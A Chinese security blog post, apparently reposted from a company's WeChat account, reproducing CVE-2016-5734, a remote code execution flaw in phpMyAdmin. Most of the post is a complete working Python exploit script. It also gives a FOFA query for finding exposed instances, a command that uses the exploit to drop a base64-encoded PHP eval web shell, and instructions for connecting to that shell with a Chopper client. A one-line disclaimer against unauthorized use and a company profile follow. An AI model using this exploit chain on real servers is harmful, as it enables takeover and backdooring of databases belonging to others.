漏洞复现 CVE-2016-5734 phpMyAdmin远程代码执行

admin 2023年3月18日20:12:55评论74 views字数 3809阅读12分41秒阅读模式

0x01 漏洞描述

   phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。在PHP5.4.7以前,preg_replace的第一个参数可以利用进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

漏洞复现 CVE-2016-5734 phpMyAdmin远程代码执行

0x02 漏洞复现

洞影响: 

4.0.10.16之前4.0.x版本

4.4.15.7之前4.4.x版本

4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

FOFA:title=="phpMyAdmin"

1.使用poc写入一句话

1.POC:#!/usr/bin/env python """cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploitDetails: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.CVE: CVE-2016-5734Author: https://twitter.com/iamsecurityrun: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"""" import requestsimport argparseimport sys __author__ = "@iamsecurity" if __name__ == '__main__':    parser = argparse.ArgumentParser()    parser.add_argument("url", type=str, help="URL with path to PMA")    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")    arguments = parser.parse_args()    url_to_pma = arguments.url    uname = arguments.user    upass = arguments.pwd    if arguments.dbs:        db = arguments.dbs    else:        db = "test"    token = False    custom_table = False    if arguments.table:        custom_table = True        table = arguments.table    else:        table = "prgpwn"    if arguments.cmd:        payload = arguments.cmd    else:        payload = "system('uname -a');"     size = 32    s = requests.Session()    # you can manually add proxy support it's very simple ;)    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}    s.verify = False    sql = '''CREATE TABLE `{0}` (      `first` varchar(10) CHARACTER SET utf8 NOT NULL    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));    '''.format(table)     # get_token    resp = s.post(url_to_pma + "/?lang=en", dict(        pma_username=uname,        pma_password=upass    ))    if resp.status_code is 200:        token_place = resp.text.find("token=") + 6        token = resp.text[token_place:token_place + 32]    if token is False:        print("Cannot get valid authorization token.")        sys.exit(1)     if custom_table is False:        data = {            "is_js_confirmed": "0",            "db": db,            "token": token,            "pos": "0",            "sql_query": sql,            "sql_delimiter": ";",            "show_query": "0",            "fk_checks": "0",            "SQL": "Go",            "ajax_request": "true",            "ajax_page_request": "true",        }        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))        if resp.status_code == 200:            if "success" in resp.json():                if resp.json()["success"] is False:                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]                    error = first[:first.find("</code>")]                    if "already exists" in error:                        print(error)                    else:                        print("ERROR: " + error)                        sys.exit(1)    # build exploit    exploit = {        "db": db,        "table": table,        "token": token,        "goto": "sql.php",        "find": "0/e",        "replaceWith": payload,        "columnIndex": "0",        "useRegex": "on",        "submit": "Go",        "ajax_request": "true"    }    resp = s.post(        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)    )    if resp.status_code == 200:        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]        if len(result):            print("result: " + result)            sys.exit(0)        print(            "Exploit failed!n"            "Try to manually set exploit parameters like --table, --database and --token.n"            "Remember that servers with PHP version greater than 5.4.6"            " is not exploitable, because of warning about null byte in regexp"        )        sys.exit(1)
2.写入shellpython3 exp.py -u root -p "root" http://x.x.x.x -c "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4='));"

漏洞复现 CVE-2016-5734 phpMyAdmin远程代码执行


2.菜刀连接

http://x.x.x.x/shell.php 密码:cmd

漏洞复现 CVE-2016-5734 phpMyAdmin远程代码执行

(注:本文章为技术分享,禁止任何非授权攻击行为)


0x03 公司简介

江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制:sm

审核:fjh

审核:Dog


原文始发于微信公众号(融云攻防实验室):漏洞复现 CVE-2016-5734 phpMyAdmin远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月18日20:12:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 CVE-2016-5734 phpMyAdmin远程代码执行http://cn-sec.com/archives/1223981.html

发表评论

匿名网友 填写信息